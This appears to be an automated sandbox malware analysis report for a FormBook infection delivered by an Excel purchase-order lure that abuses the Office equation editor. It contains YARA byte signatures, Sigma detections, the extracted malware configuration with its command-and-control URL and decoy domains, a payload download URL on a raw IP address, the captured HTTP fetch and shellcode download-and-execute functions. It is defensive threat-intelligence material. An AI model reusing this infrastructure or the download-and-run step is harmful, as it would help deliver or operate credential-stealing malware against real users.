6.0.bmexo.exe.400000.9.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.9.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.2.bmexo.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.bmexo.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.bmexo.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
5.2.bmexo.exe.170000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.bmexo.exe.170000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.bmexo.exe.170000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.5.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.bmexo.exe.400000.5.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.5.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.9.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
Click to see the 20 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.156.91.153, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 900, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49171

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 900, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.freerenoadvice.com/ud5f/"], "decoy": ["makcoll.com", "mitrachocloud.com", "finikilspase.site", "vertriebmitherz.gmbh", "terapiasdelsinuips.com", "schoolmink.online", "slotgacor588.xyz", "zkf-lawyer.com", "daskocleaning.com", "baoxin-design.com", "hollywoodcuts.net", "animefnix.com", "trinityhomesolutionsok.com", "cfrhsw.xyz", "articrowd.com", "jlivingfurniture.com", "marmolsystem.com", "nudehack.com", "beam-birds.com", "cravensoft.com", "bjyunjian.com", "naturelleclub.com", "reece-family.net", "morarmail.com", "morgantownpet.supply", "recordanalytics.com", "factheat.online", "mcgillinvestigation.com", "tinyhouse.contact", "gpbrasilia.com", "jacobsclub.com", "theboemia.net", "balifoodfun.com", "alfonshotel.com", "spaceokara.com", "paraphras.com", "ruibaituobj.com", "rwbbrwe1.com", "turkishrepublik.com", "costumeshop.xyz", "minatexacess.com", "hathor-network.net", "02d1qp.xyz", "dadagrin.com", "lfsijin.com", "bupabii.site", "mydiga-angststoerung.com", "hayatseventeknoloji.com", "adv-cleaner.site", "ndsnus.com", "rebeccabarclaylpc.com", "eswpu.com", "babbleboat.com", "zvmsovsg.com", "quantumlab5.com", "venerems.com", "sh09.fyi", "maxpilesclinic.com", "luigilucioni.com", "yuttie.store", "tripnii.com", "topings33.com", "madetopraisehim.com", "tesladoge.info"]}

Multi AV Scanner detection for submitted file

Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	Virustotal: Detection: 38%			Perma Link
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	ReversingLabs: Detection: 26%

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://103.156.91.153/fdcloudfiles/vbc.exe	Avira URL Cloud: Label: malware
Source: www.freerenoadvice.com/ud5f/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://103.156.91.153/fdcloudfiles/vbc.exe

Virustotal: Detection: 10%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Joe Sandbox ML: detected

Source: 6.0.bmexo.exe.400000.7.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.bmexo.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.bmexo.exe.170000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.bmexo.exe.400000.5.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.bmexo.exe.400000.9.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe			Jump to behavior

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 103.156.91.153 Port: 80

Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\wxiwy\cojnmd\dyrz\70c437f178a447d5b5e03abf78ad86d5\khqwan\zzevlnko\Release\zzevlnko.pdb source: vbc.exe, 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmp, bmexo.exe, 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000005.00000000.968231879.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000006.00000000.974589862.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, chkdsk.exe, 00000008.00000002.1174039918.0000000002887000.00000004.10000000.00040000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173217045.00000000003B3000.00000004.00000020.00020000.00000000.sdmp, nsmD99.tmp.4.dr, bmexo.exe.4.dr
Source:	Binary string: chkdsk.pdb source: bmexo.exe, 00000006.00000002.1050114953.0000000000030000.00000040.10000000.00040000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050401037.0000000000714000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: bmexo.exe, bmexo.exe, 00000006.00000003.981359909.0000000000800000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000003.979000602.00000000002B0000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1051582479.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000008.00000002.1173724762.0000000002500000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1050200391.0000000002090000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1051411235.00000000021F0000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405D7A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,	4_2_004069A4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,	4_2_0040290B

Software Vulnerabilities

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D056C ShellExecuteExW,ExitProcess,	2_2_035D056C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,	2_2_035D050B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D048A LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess,	2_2_035D048A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D0555 ShellExecuteExW,ExitProcess,	2_2_035D0555
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D03FE URLDownloadToFileW,ShellExecuteExW,ExitProcess,	2_2_035D03FE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D03E5 ExitProcess,	2_2_035D03E5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D041A URLDownloadToFileW,ShellExecuteExW,ExitProcess,	2_2_035D041A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D058A ExitProcess,	2_2_035D058A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D04A4 URLDownloadToFileW,ShellExecuteExW,ExitProcess,	2_2_035D04A4

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 4x nop then pop edi	6_2_0041730E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 4x nop then pop ebx	6_2_00406EA5
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then pop edi	8_2_000A730E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then pop ebx	8_2_00096EA5

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 103.156.91.153:80

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 103.156.91.153:80

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.freerenoadvice.com/ud5f/

Source: Joe Sandbox View

ASN Name: TWIDC-AS-APTWIDCLimitedHK TWIDC-AS-APTWIDCLimitedHK

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 May 2022 15:07:42 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Fri, 13 May 2022 06:57:17 GMTETag: "40667-5dedf2f5fd4c5"Accept-Ranges: bytesContent-Length: 263783Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /fdcloudfiles/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.156.91.153Connection: Keep-Alive

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,

2_2_035D050B

Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153

Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com2 equals www.linkedin.com (Linkedin)
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exe
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exehhC:
Source: EQNEDT32.EXE, 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exej
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exes
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.964387400.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000007.00000000.1003526577.0000000006450000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
